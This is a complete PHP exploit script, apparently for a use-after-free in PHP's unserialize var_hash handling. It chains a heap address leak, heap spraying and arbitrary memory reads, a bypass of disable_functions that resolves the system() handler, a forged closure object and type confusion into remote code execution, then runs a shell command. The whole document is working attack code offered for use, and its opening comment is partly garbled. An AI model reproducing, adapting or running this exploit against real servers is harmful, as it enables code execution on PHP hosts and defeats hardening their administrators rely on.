#!/usr/bin/env php x = 0; * * Inner payload: O:8:"stdClass":8:{...}. Eight inner properties fill the * property HT to nTableSize=8; the single ->x = 0 write is the 9th insert * and triggers the 8→16 resize, which efree's the original 288-byte arData * buffer. Var_hash slots 4..11 (the 8 property zvals) all point into it. * * Chain: heap leak → spray Closures → mega-string scan for zend_object gc * patterns → find function_table HT → resolve system() (via standard * module's static zend_function_entry[] when disable_functions blocks it) * → fake zend_closure → IS_OBJECT type confusion → RCE. * * Target: PHP 8.0–8.5 (NTS). Verified on x86_64 and aarch64. * Pointer-validity bounds and the EG-from-handlers scan range are * auto-tuned per architecture at startup. */ error_reporting(0); class CachedData implements Serializable { public function serialize(): string { return ''; } public function unserialize(string $data): void { unserialize($data)->x = 0; } } $GLOBALS['_cl'] = function(){}; class Exploit { const SPRAY_LEN = 280; const SPRAY_COUNT = 32; const NUM_PROPS = 8; // Struct member offsets — stable across PHP 8.0–8.5 builds const OFF_OBJ_CE = 0x10; const OFF_OBJ_HANDLERS = 0x18; const OFF_CLOSURE_FUNC = 0x38; const OFF_HANDLER = 0x58; // zend_internal_function.handler const OFF_HT_MASK = 0x0C; const OFF_HT_ARDATA = 0x10; // Bucket layout (32 bytes) const BUCKET_SIZE = 32; const BUCKET_VAL = 0; const BUCKET_H = 16; const BUCKET_KEY = 24; const OFF_INTFUNC_MODULE = 0x60; const OFF_MODULE_FUNCS = 0x28; const FUNC_ENTRY_SIZE = 0x30; private $ADDR_MAX; // user-space pointer upper bound private $DELTA_MAX; // EG-from-closure_handlers scan range public function __construct() { $arch = php_uname('m'); if ($arch === 'aarch64' || $arch === 'arm64') { // 48-bit user; PIE binaries map in the 0xaaaa.. range, EG..closure_handlers ~0x340 $this->ADDR_MAX = 0xFFFFFFFFFFFF; $this->DELTA_MAX = 0x600; } else { // x86_64 / others: 47-bit canonical user; EG..closure_handlers typically <0x300 $this->ADDR_MAX = 0x7FFFFFFFFFFF; $this->DELTA_MAX = 0x300; } } // ─── Spray builders ─── private function build_inner() { // 8-property stdClass: HT created at nTableSize=8, full to capacity. // The gadget body's single ->x = 0 write is the 9th insert and triggers // the resize. Slot 3 = stdClass, slots 4..11 = property zvals. $props = ''; for ($k = 0; $k < self::NUM_PROPS; $k++) { $pname = "p$k"; $props .= 's:' . strlen($pname) . ':"' . $pname . '";i:' . (0xAAAA0000 + $k) . ';'; } return 'O:8:"stdClass":' . self::NUM_PROPS . ':{' . $props . '}'; } private function build_spray_islong($marker = 0xBBBB0000) { $s = str_repeat("\x00", self::SPRAY_LEN); for ($k = 0; $k < 8; $k++) { $vo = 8 + $k * 32; $to = $vo + 8; if ($to + 4 > self::SPRAY_LEN) break; $m = $marker + $k; $s[$vo]=chr($m&0xFF); $s[$vo+1]=chr(($m>>8)&0xFF); $s[$vo+2]=chr(($m>>16)&0xFF); $s[$vo+3]=chr(($m>>24)&0xFF); $s[$vo+4]=$s[$vo+5]=$s[$vo+6]=$s[$vo+7]="\x00"; $s[$to]="\x04"; $s[$to+1]=$s[$to+2]=$s[$to+3]="\x00"; } return $s; } private function build_spray_isstring($target_addr) { $s = str_repeat("\x00", self::SPRAY_LEN); $vo = 8 + 1 * 32; $ab = pack('P', $target_addr); for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i]; $to = $vo + 8; $s[$to] = "\x06"; $s[$to+1] = $s[$to+2] = $s[$to+3] = "\x00"; for ($k = 0; $k < 8; $k++) { if ($k == 1) continue; $vo2 = 8 + $k * 32; $to2 = $vo2 + 8; if ($to2 + 4 > self::SPRAY_LEN) break; $s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00"; } return $s; } private function build_spray_isobject($obj_addr) { $s = str_repeat("\x00", self::SPRAY_LEN); $vo = 8 + 1 * 32; $ab = pack('P', $obj_addr); for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i]; $to = $vo + 8; $s[$to] = "\x08"; $s[$to+1] = "\x03"; $s[$to+2] = $s[$to+3] = "\x00"; for ($k = 0; $k < 8; $k++) { if ($k == 1) continue; $vo2 = 8 + $k * 32; $to2 = $vo2 + 8; if ($to2 + 4 > self::SPRAY_LEN) break; $s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00"; } return $s; } private function build_payload($spray, $num_refs = 1) { $inner = $this->build_inner(); $c_part = 'C:10:"CachedData":' . strlen($inner) . ':{' . $inner . '}'; $total = 1 + self::SPRAY_COUNT + $num_refs; $parts = ['i:0;' . $c_part]; for ($i = 0; $i < self::SPRAY_COUNT; $i++) { $parts[] = 'i:' . ($i + 1) . ';s:' . self::SPRAY_LEN . ':"' . $spray . '";'; } for ($k = 0; $k < $num_refs; $k++) { // R:4..R:11 = the 8 property zvals of the inner stdClass $parts[] = 'i:' . (self::SPRAY_COUNT + 1 + $k) . ';R:' . (4 + $k) . ';'; } return 'a:' . $total . ':{' . implode('', $parts) . '}'; } // ─── UAF read primitives ─── private function uaf_read($addr, $n = 8) { foreach ([0, 0x08, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200] as $bias) { $target = $addr - 0x18 - $bias; if ($target < 0x1000) continue; $spray = $this->build_spray_isstring($target); $payload = $this->build_payload($spray, 1); $result = @unserialize($payload); if ($result === false) continue; $str = $result[self::SPRAY_COUNT + 1]; if (!is_string($str)) continue; $slen = strlen($str); if ($slen >= 0 && $slen <= $bias + $n - 1) continue; $out = substr($str, $bias, $n); if (strlen($out) >= $n) return $out; } return false; } private function read8($addr) { $d = $this->uaf_read($addr, 8); if ($d === false || strlen($d) < 8) return false; return unpack('P', $d)[1]; } private function read8_retry($addr, $attempts = 3) { for ($i = 0; $i < $attempts; $i++) { $v = $this->read8($addr); if ($v !== false) return $v; } return false; } // ─── DJBX33A hash (same as Zend) ─── private function zend_hash_func($key) { $h = 5381; for ($i = 0; $i < strlen($key); $i++) $h = (($h << 5) + $h) + ord($key[$i]); return $h | (1 << 63); } private function ht_find($ht_addr, $key) { $arData = $this->read8_retry($ht_addr + self::OFF_HT_ARDATA); if ($arData === false) return false; $d = $this->uaf_read($ht_addr + self::OFF_HT_MASK, 4); if ($d === false) return false; $nTableMask = unpack('V', $d)[1]; return $this->ht_find_raw($arData, $nTableMask, $key); } private function ht_find_raw($arData, $nTableMask, $key) { $h = $this->zend_hash_func($key); $nIndex = (($h & 0xFFFFFFFF) | $nTableMask) & 0xFFFFFFFF; if ($nIndex >= 0x80000000) $nIndex -= 0x100000000; $slot_addr = $arData + $nIndex * 4; $d = $this->uaf_read($slot_addr, 4); if ($d === false) return false; $idx = unpack('V', $d)[1]; if ($idx === 0xFFFFFFFF) return false; $klen = strlen($key); for ($chain = 0; $chain < 16; $chain++) { $bucket_addr = $arData + $idx * self::BUCKET_SIZE; $bucket = $this->uaf_read($bucket_addr, self::BUCKET_SIZE); if ($bucket === false) return false; $key_ptr = unpack('P', substr($bucket, self::BUCKET_KEY, 8))[1]; if ($key_ptr != 0) { $kd = $this->uaf_read($key_ptr + 16, 8 + $klen); if ($kd !== false) { $slen = unpack('P', substr($kd, 0, 8))[1]; if ($slen == $klen && substr($kd, 8, $klen) === $key) { return $bucket; } } } $next = unpack('V', substr($bucket, 12, 4))[1]; if ($next === 0xFFFFFFFF) return false; $idx = $next; } return false; } // ─── Phase 1: Heap address leak ─── private function heap_leak() { $spray = $this->build_spray_islong(); $original = $spray; $payload = $this->build_payload($spray, self::NUM_PROPS); $result = @unserialize($payload); if ($result === false) die("[-] heap_leak: unserialize failed\n"); for ($i = 1; $i <= self::SPRAY_COUNT; $i++) { $s = $result[$i]; for ($k = 0; $k < self::NUM_PROPS; $k++) { $vo = 8 + ($k + 1) * 32; if (substr($s, $vo, 8) !== substr($original, $vo, 8)) { return unpack('P', substr($s, $vo, 8))[1]; } } } die("[-] heap_leak: no spray modification detected\n"); } // ─── Phase 2: Find object pointers (ce, handlers) from heap objects ─── private function find_object_pointers($heap_addr) { $chunk = $heap_addr & 0xFFFFFFFFFFE00000; for ($i = 0; $i < 256; $i++) { $GLOBALS["_spray_$i"] = function(){}; } for ($attempt = 0; $attempt < 3; $attempt++) { $target = $chunk - 0x10; $spray = $this->build_spray_isstring($target); $payload = $this->build_payload($spray, 1); $result = @unserialize($payload); if ($result === false) continue; $str = $result[self::SPRAY_COUNT + 1]; if (!is_string($str)) continue; $slen = strlen($str); if ($slen < 0x10000) continue; $max_off = min($slen, 0x200000 - 0x08); $pairs = []; for ($off = 8; $off + 32 <= $max_off; $off += 16) { $rc = unpack('V', substr($str, $off, 4))[1]; if ($rc < 1 || $rc > 50) continue; $ti = ord($str[$off + 4]) & 0x0F; if ($ti != 8) continue; $handle = unpack('V', substr($str, $off + 8, 4))[1]; if ($handle == 0 || $handle > 100000) continue; $pad = unpack('V', substr($str, $off + 12, 4))[1]; if ($pad != 0) continue; $ce = unpack('P', substr($str, $off + 16, 8))[1]; $handlers = unpack('P', substr($str, $off + 24, 8))[1]; if ($ce == 0 || $handlers == 0) continue; if (($handlers & (~0x1FFFFF)) == $chunk) continue; if ($handlers < 0x10000 || $handlers > $this->ADDR_MAX) continue; $key = sprintf("%x", $handlers); if (!isset($pairs[$key])) $pairs[$key] = ['ce' => $ce, 'handlers' => $handlers, 'count' => 0]; $pairs[$key]['count']++; } if (empty($pairs)) continue; usort($pairs, fn($a, $b) => $b['count'] <=> $a['count']); $best = $pairs[0]; printf("[+] Found %d object groups, best: count=%d ce=0x%x handlers=0x%x\n", count($pairs), $best['count'], $best['ce'], $best['handlers']); return [$best['ce'], $best['handlers']]; } return false; } // ─── Phase 3a: Find EG and function_table near handlers in .bss ─── private function find_function_table_ht($handlers, $heap_addr) { for ($delta = 0x20; $delta < $this->DELTA_MAX; $delta += 8) { foreach ([0x1b0, 0x1c8] as $ft_off) { $ptr_addr = $handlers + $delta + $ft_off; $d = $this->uaf_read($ptr_addr, 24); if ($d === false) continue; $ft_ptr = unpack('P', substr($d, 0, 8))[1]; $ct_ptr = unpack('P', substr($d, 8, 8))[1]; $zc_ptr = unpack('P', substr($d, 16, 8))[1]; if ($ft_ptr < 0x10000 || $ft_ptr > $this->ADDR_MAX) continue; if ($ct_ptr < 0x10000 || $ct_ptr > $this->ADDR_MAX) continue; if ($zc_ptr < 0x10000 || $zc_ptr > $this->ADDR_MAX) continue; if (abs($ft_ptr - $ct_ptr) > 0x1000000) continue; if (abs($ct_ptr - $zc_ptr) > 0x1000000) continue; $htd = $this->uaf_read($ft_ptr + self::OFF_HT_MASK, 16); if ($htd === false) continue; $nTableMask = unpack('V', substr($htd, 0, 4))[1]; $arData = unpack('P', substr($htd, 4, 8))[1]; $nNumUsed = unpack('V', substr($htd, 12, 4))[1]; $pos = (~$nTableMask + 1) & 0xFFFFFFFF; if ($pos < 64 || ($pos & ($pos - 1)) != 0) continue; if ($arData < 0x10000 || $arData > $this->ADDR_MAX) continue; if ($nNumUsed < 100 || $nNumUsed > 10000) continue; printf("[+] function_table @ 0x%x (nNumUsed=%d, delta=0x%x, ft_off=+0x%x)\n", $ft_ptr, $nNumUsed, $delta, $ft_off); return ['ht' => $ft_ptr, 'arData' => $arData, 'nTableMask' => $nTableMask, 'delta' => $delta, 'ft_off' => $ft_off]; } } return false; } // ─── Phase 3b: Find symbol_table (embedded in EG) ─── private function find_symbol_table($handlers, $combined, $heap_addr) { foreach ([0x1b0, 0x1c8] as $ft_off) { $delta = $combined - $ft_off; if ($delta < 0) continue; $eg = $handlers + $delta; $st = $eg + 0x130; $d = $this->uaf_read($st + self::OFF_HT_MASK, 16); if ($d === false) continue; $st_mask = unpack('V', substr($d, 0, 4))[1]; $st_ardata = unpack('P', substr($d, 4, 8))[1]; $st_nused = unpack('V', substr($d, 12, 4))[1]; $m32 = $st_mask & 0xFFFFFFFF; if ($m32 < 0xFFFF0000) continue; $pos = (~$m32 + 1) & 0xFFFFFFFF; if (($pos & ($pos - 1)) !== 0 || $pos < 4) continue; if ($st_ardata < 0x10000) continue; if ($st_nused > 500) continue; printf("[+] EG @ 0x%x (ft_off=+0x%x), symbol_table @ 0x%x (nNumUsed=%d)\n", $eg, $ft_off, $st, $st_nused); return $st; } return false; } private function read_str($addr, $maxlen = 32) { $d = $this->uaf_read($addr, $maxlen); if ($d === false) return false; $s = ''; for ($i = 0; $i < strlen($d); $i++) { $c = ord($d[$i]); if ($c == 0) break; if ($c >= 0x20 && $c <= 0x7e) $s .= chr($c); else return false; } return $s; } // ─── Phase 4: Bypass disable_functions, find zif_system handler ─── private function find_system($arData, $nTableMask, $closure_handlers) { $disabled = ini_get('disable_functions'); $is_disabled = (stripos($disabled, 'system') !== false); if (!$is_disabled) { $bucket = $this->ht_find_raw($arData, $nTableMask, "system"); if ($bucket !== false) { $func_ptr = unpack('P', substr($bucket, 0, 8))[1]; $handler = $this->read8_retry($func_ptr + self::OFF_HANDLER); if ($handler !== false) { printf("[+] zif_system @ 0x%x\n", $handler); return ['handler' => $handler, 'mode' => 'closure']; } } } printf("[!] system() is in disable_functions: %s\n", $disabled ?: '(none)'); echo "[*] Bypassing: resolving zif_system from module function entry table...\n"; $handler = $this->find_system_via_module($arData, $nTableMask); if ($handler === false) die("[-] Cannot find zif_system in module function entries\n"); printf("[+] zif_system (from module) @ 0x%x\n", $handler); return ['handler' => $handler, 'mode' => 'closure']; } private function find_system_via_module($arData, $nTableMask) { $probe_funcs = ['var_dump', 'array_push', 'phpversion', 'getenv', 'strtolower']; $mod_ptr = false; foreach ($probe_funcs as $fname) { $bucket = $this->ht_find_raw($arData, $nTableMask, $fname); if ($bucket === false) continue; $func_ptr = unpack('P', substr($bucket, 0, 8))[1]; $candidate = $this->read8_retry($func_ptr + self::OFF_INTFUNC_MODULE); if ($candidate === false || $candidate < 0x10000 || $candidate > $this->ADDR_MAX) continue; $name_ptr = $this->read8_retry($candidate + 0x20); if ($name_ptr === false) continue; $name = $this->read_str($name_ptr, 16); if ($name === 'standard') { $mod_ptr = $candidate; printf("[+] standard module @ 0x%x (via %s)\n", $mod_ptr, $fname); break; } } if ($mod_ptr === false) return false; $funcs = $this->read8_retry($mod_ptr + self::OFF_MODULE_FUNCS); if ($funcs === false) return false; printf("[+] module functions @ 0x%x\n", $funcs); for ($j = 0; $j < 600; $j++) { $entry = $funcs + $j * self::FUNC_ENTRY_SIZE; $fname_ptr = $this->read8_retry($entry); if ($fname_ptr === false || $fname_ptr == 0) break; $fname = $this->read_str($fname_ptr, 16); if ($fname === 'system') return $this->read8_retry($entry + 0x08); } return false; } // ─── Build fake zend_closure ─── private function build_fake_closure($ce, $handlers, $system_handler) { $b = str_repeat("\x00", 512); $w = function(&$buf, $off, $data) { for ($i = 0; $i < strlen($data); $i++) $buf[$off + $i] = $data[$i]; }; $w($b, 0x00, pack('V', 0x7FFFFFFF)); $w($b, 0x04, pack('V', 0x18)); $w($b, self::OFF_OBJ_CE, pack('P', $ce)); $w($b, self::OFF_OBJ_HANDLERS, pack('P', $handlers)); $w($b, self::OFF_CLOSURE_FUNC, chr(1)); $w($b, 0x58, pack('V', 1)); $w($b, 0x5C, pack('V', 1)); $w($b, self::OFF_CLOSURE_FUNC + self::OFF_HANDLER, pack('P', $system_handler)); return $b; } private function find_var_string_addr($st_addr, $name) { $bucket = $this->ht_find($st_addr, $name); if ($bucket === false) return false; $type = ord($bucket[8]); $val = unpack('P', substr($bucket, 0, 8))[1]; if ($type == 6) return $val; if ($type == 10) { $inner = $this->uaf_read($val + 8, 16); if ($inner === false) return false; if (ord($inner[8]) == 6) return unpack('P', substr($inner, 0, 8))[1]; } return false; } public function run() { $cmd = "id && uname -a"; echo "=== PHP Serializable var_hash UAF → RCE ===\n"; printf(" Arch: %s ADDR_MAX=0x%x DELTA_MAX=0x%x\n\n", php_uname('m'), $this->ADDR_MAX, $this->DELTA_MAX); echo "[*] Phase 1: Heap address leak via R: write-through...\n"; $heap_addr = $this->heap_leak(); printf("[+] zend_reference @ 0x%x\n", $heap_addr); echo "\n[*] Phase 3: Finding object pointers (ce, handlers) in heap...\n"; $ptrs = $this->find_object_pointers($heap_addr); if ($ptrs === false) die("[-] Cannot find object pointers\n"); [$ce_closure, $closure_handlers] = $ptrs; echo "\n[*] Phase 4: Locating executor globals...\n"; $ft = $this->find_function_table_ht($closure_handlers, $heap_addr); if ($ft === false) die("[-] Cannot find function_table HT\n"); $combined = $ft['delta'] + $ft['ft_off']; $st_addr = $this->find_symbol_table($closure_handlers, $combined, $heap_addr); if ($st_addr === false) die("[-] Cannot find symbol_table\n"); echo "\n[*] Phase 5: Bypassing disable_functions...\n"; $sys = $this->find_system($ft['arData'], $ft['nTableMask'], $closure_handlers); echo "\n[*] Phase 6: Building the fake closure...\n"; $fc = $this->build_fake_closure($ce_closure, $closure_handlers, $sys['handler']); $GLOBALS["_xfc"] = $fc; echo "\n[*] Phase 7: Locating the fake closure via EG.symbol_table...\n"; $str_ptr = $this->find_var_string_addr($st_addr, "_xfc"); if ($str_ptr === false) die("[-] Cannot find _xfc\n"); $obj_addr = $str_ptr + 24; printf("[+] Fake closure @ 0x%x\n", $obj_addr); echo "\n[*] Phase 8: Type confusion and RCE...\n"; $spray = $this->build_spray_isobject($obj_addr); $payload = $this->build_payload($spray, 1); $result = @unserialize($payload); if ($result === false) die("[-] unserialize failed\n"); $idx = self::SPRAY_COUNT + 1; if (!is_object($result[$idx])) die("[-] Expected object, got " . gettype($result[$idx]) . "\n"); echo "[+] Got fake Closure!\n\n"; echo str_repeat("\xe2\x94\x80", 50) . "\n"; $result[$idx]($cmd); echo "\n" . str_repeat("\xe2\x94\x80", 50) . "\n"; echo "\n[+] Exploit complete.\n"; } } (new Exploit)->run();